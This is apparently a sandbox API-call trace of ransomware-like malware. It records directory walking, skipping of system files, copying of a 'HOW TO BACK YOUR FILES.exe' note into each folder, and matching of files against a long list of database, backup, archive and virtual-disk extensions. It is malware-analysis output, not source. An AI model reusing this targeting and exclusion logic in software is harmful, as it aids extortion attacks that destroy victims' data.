	[0037.446] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player"
	[0037.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0037.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59aa10
	[0037.446] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0037.446] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0037.446] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0
	[0037.446] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="Apollon865.txt.exe") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2=".") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="..") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="windows") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="bootmgr") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="temp") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="pagefile.sys") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="boot") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="ids.txt") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="ntuser.dat") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="perflogs") returned 1
	[0037.446] lstrcmpiW (lpString1="Windows Mail", lpString2="MSBuild") returned 1
	[0037.446] lstrlenW (lpString="Windows Mail") returned 12
	[0037.446] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player") returned 53
	[0037.446] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail"
	[0037.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0037.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59aa88
	[0037.447] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0037.447] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="Apollon865.txt.exe") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2=".") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="..") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="windows") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="bootmgr") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="temp") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="pagefile.sys") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="boot") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="ids.txt") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="ntuser.dat") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="perflogs") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Media", lpString2="MSBuild") returned 1
	[0037.447] lstrlenW (lpString="Windows Media") returned 13
	[0037.447] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail") returned 53
	[0037.447] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Windows Media" | out: lpString1="Windows Media") returned="Windows Media"
	[0037.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0037.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59ab00
	[0037.447] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0037.447] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="Apollon865.txt.exe") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2=".") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="..") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="windows") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="bootmgr") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="temp") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="pagefile.sys") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="boot") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ids.txt") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ntuser.dat") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="perflogs") returned 1
	[0037.447] lstrcmpiW (lpString1="Windows Sidebar", lpString2="MSBuild") returned 1
	[0037.447] lstrlenW (lpString="Windows Sidebar") returned 15
	[0037.448] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media") returned 54
	[0037.448] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar"
	[0037.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0037.448] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0037.448] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0037.448] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
	[0037.448] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.448] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0037.448] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar"
	[0037.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0037.448] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0037.448] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar") returned 56
	[0037.448] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar"
	[0037.448] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.448] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.531] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.532] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e7f0710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e7f0710, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.532] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.532] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.532] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.532] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e7f0710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e7f0710, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.532] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.532] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.532] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.532] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.532] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="Apollon865.txt.exe") returned 1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2=".") returned 1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="..") returned 1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="windows") returned -1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="bootmgr") returned 1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="temp") returned -1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="pagefile.sys") returned -1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="boot") returned 1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="ids.txt") returned -1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="ntuser.dat") returned -1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="perflogs") returned -1
	[0037.532] lstrcmpiW (lpString1="Gadgets", lpString2="MSBuild") returned -1
	[0037.532] lstrlenW (lpString="Gadgets") returned 7
	[0037.532] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*") returned 58
	[0037.532] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Gadgets" | out: lpString1="Gadgets") returned="Gadgets"
	[0037.532] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0037.532] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0037.533] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0037.533] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e7f0710, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e7f0710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.533] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.533] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="Apollon865.txt.exe") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2=".") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="..") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="windows") returned -1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="bootmgr") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="temp") returned -1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="pagefile.sys") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="boot") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="ids.txt") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="ntuser.dat") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="perflogs") returned 1
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2="MSBuild") returned 1
	[0037.533] lstrlenW (lpString="Settings.ini") returned 12
	[0037.533] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned 64
	[0037.533] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Settings.ini" | out: lpString1="Settings.ini") returned="Settings.ini"
	[0037.533] lstrlenW (lpString="Settings.ini") returned 12
	[0037.533] lstrlenW (lpString="Apollon865") returned 10
	[0037.533] lstrcmpiW (lpString1="ttings.ini", lpString2="Apollon865") returned 1
	[0037.533] lstrlenW (lpString=".dll") returned 4
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2=".dll") returned 1
	[0037.533] lstrlenW (lpString=".lnk") returned 4
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2=".lnk") returned 1
	[0037.533] lstrlenW (lpString=".ini") returned 4
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2=".ini") returned 1
	[0037.533] lstrlenW (lpString=".sys") returned 4
	[0037.533] lstrcmpiW (lpString1="Settings.ini", lpString2=".sys") returned 1
	[0037.533] lstrlenW (lpString="Settings.ini") returned 12
	[0037.533] lstrlenW (lpString="bak") returned 3
	[0037.533] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0037.533] lstrlenW (lpString="ba_") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0037.534] lstrlenW (lpString="dbb") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0037.534] lstrlenW (lpString="vmdk") returned 4
	[0037.534] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0037.534] lstrlenW (lpString="rar") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0037.534] lstrlenW (lpString="zip") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0037.534] lstrlenW (lpString="tgz") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0037.534] lstrlenW (lpString="vbox") returned 4
	[0037.534] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0037.534] lstrlenW (lpString="vdi") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0037.534] lstrlenW (lpString="vhd") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0037.534] lstrlenW (lpString="vhdx") returned 4
	[0037.534] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0037.534] lstrlenW (lpString="avhd") returned 4
	[0037.534] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0037.534] lstrlenW (lpString="db") returned 2
	[0037.534] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0037.534] lstrlenW (lpString="db2") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0037.534] lstrlenW (lpString="db3") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0037.534] lstrlenW (lpString="dbf") returned 3
	[0037.534] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0037.534] lstrlenW (lpString="mdf") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0037.535] lstrlenW (lpString="mdb") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0037.535] lstrlenW (lpString="sql") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0037.535] lstrlenW (lpString="sqlite") returned 6
	[0037.535] lstrcmpiW (lpString1="gs.ini", lpString2="sqlite") returned -1
	[0037.535] lstrlenW (lpString="sqlite3") returned 7
	[0037.535] lstrcmpiW (lpString1="ngs.ini", lpString2="sqlite3") returned -1
	[0037.535] lstrlenW (lpString="sqlitedb") returned 8
	[0037.535] lstrcmpiW (lpString1="ings.ini", lpString2="sqlitedb") returned -1
	[0037.535] lstrlenW (lpString="xml") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0037.535] lstrlenW (lpString="$er") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0037.535] lstrlenW (lpString="4dd") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0037.535] lstrlenW (lpString="4dl") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0037.535] lstrlenW (lpString="^^^") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0037.535] lstrlenW (lpString="abs") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0037.535] lstrlenW (lpString="abx") returned 3
	[0037.535] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0037.535] lstrlenW (lpString="accdb") returned 5
	[0037.535] lstrcmpiW (lpString1="s.ini", lpString2="accdb") returned 1
	[0037.535] lstrlenW (lpString="accdc") returned 5
	[0037.535] lstrcmpiW (lpString1="s.ini", lpString2="accdc") returned 1
	[0037.535] lstrlenW (lpString="accde") returned 5
	[0037.535] lstrcmpiW (lpString1="s.ini", lpString2="accde") returned 1
	[0037.535] lstrlenW (lpString="accdr") returned 5
	[0037.535] lstrcmpiW (lpString1="s.ini", lpString2="accdr") returned 1
	[0037.535] lstrlenW (lpString="accdt") returned 5
	[0037.535] lstrcmpiW (lpString1="s.ini", lpString2="accdt") returned 1
	[0037.535] lstrlenW (lpString="accdw") returned 5
	[0037.535] lstrcmpiW (lpString1="s.ini", lpString2="accdw") returned 1
	[0037.535] lstrlenW (lpString="accft") returned 5
	[0037.536] lstrcmpiW (lpString1="s.ini", lpString2="accft") returned 1
	[0037.536] lstrlenW (lpString="adb") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0037.536] lstrlenW (lpString="adb") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0037.536] lstrlenW (lpString="ade") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0037.536] lstrlenW (lpString="adf") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0037.536] lstrlenW (lpString="adn") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0037.536] lstrlenW (lpString="adp") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0037.536] lstrlenW (lpString="alf") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0037.536] lstrlenW (lpString="ask") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0037.536] lstrlenW (lpString="btr") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0037.536] lstrlenW (lpString="cat") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0037.536] lstrlenW (lpString="cdb") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0037.536] lstrlenW (lpString="ckp") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0037.536] lstrlenW (lpString="cma") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0037.536] lstrlenW (lpString="cpd") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0037.536] lstrlenW (lpString="dacpac") returned 6
	[0037.536] lstrcmpiW (lpString1="gs.ini", lpString2="dacpac") returned 1
	[0037.536] lstrlenW (lpString="dad") returned 3
	[0037.536] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0037.536] lstrlenW (lpString="dadiagrams") returned 10
	[0037.536] lstrcmpiW (lpString1="ttings.ini", lpString2="dadiagrams") returned 1
	[0037.536] lstrlenW (lpString="daschema") returned 8
	[0037.536] lstrcmpiW (lpString1="ings.ini", lpString2="daschema") returned 1
	[0037.536] lstrlenW (lpString="db-journal") returned 10
	[0037.537] lstrcmpiW (lpString1="ttings.ini", lpString2="db-journal") returned 1
	[0037.537] lstrlenW (lpString="db-shm") returned 6
	[0037.537] lstrcmpiW (lpString1="gs.ini", lpString2="db-shm") returned 1
	[0037.537] lstrlenW (lpString="db-wal") returned 6
	[0037.537] lstrcmpiW (lpString1="gs.ini", lpString2="db-wal") returned 1
	[0037.537] lstrlenW (lpString="dbc") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0037.537] lstrlenW (lpString="dbs") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0037.537] lstrlenW (lpString="dbt") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0037.537] lstrlenW (lpString="dbv") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0037.537] lstrlenW (lpString="dbx") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0037.537] lstrlenW (lpString="dcb") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0037.537] lstrlenW (lpString="dct") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0037.537] lstrlenW (lpString="dcx") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0037.537] lstrlenW (lpString="ddl") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0037.537] lstrlenW (lpString="dlis") returned 4
	[0037.537] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0037.537] lstrlenW (lpString="dp1") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0037.537] lstrlenW (lpString="dqy") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0037.537] lstrlenW (lpString="dsk") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0037.537] lstrlenW (lpString="dsn") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0037.537] lstrlenW (lpString="dtsx") returned 4
	[0037.537] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0037.537] lstrlenW (lpString="dxl") returned 3
	[0037.537] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0037.538] lstrlenW (lpString="eco") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0037.538] lstrlenW (lpString="ecx") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0037.538] lstrlenW (lpString="edb") returned 3
	[0037.538] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0037.538] lstrlenW (lpString="epim") returned 4
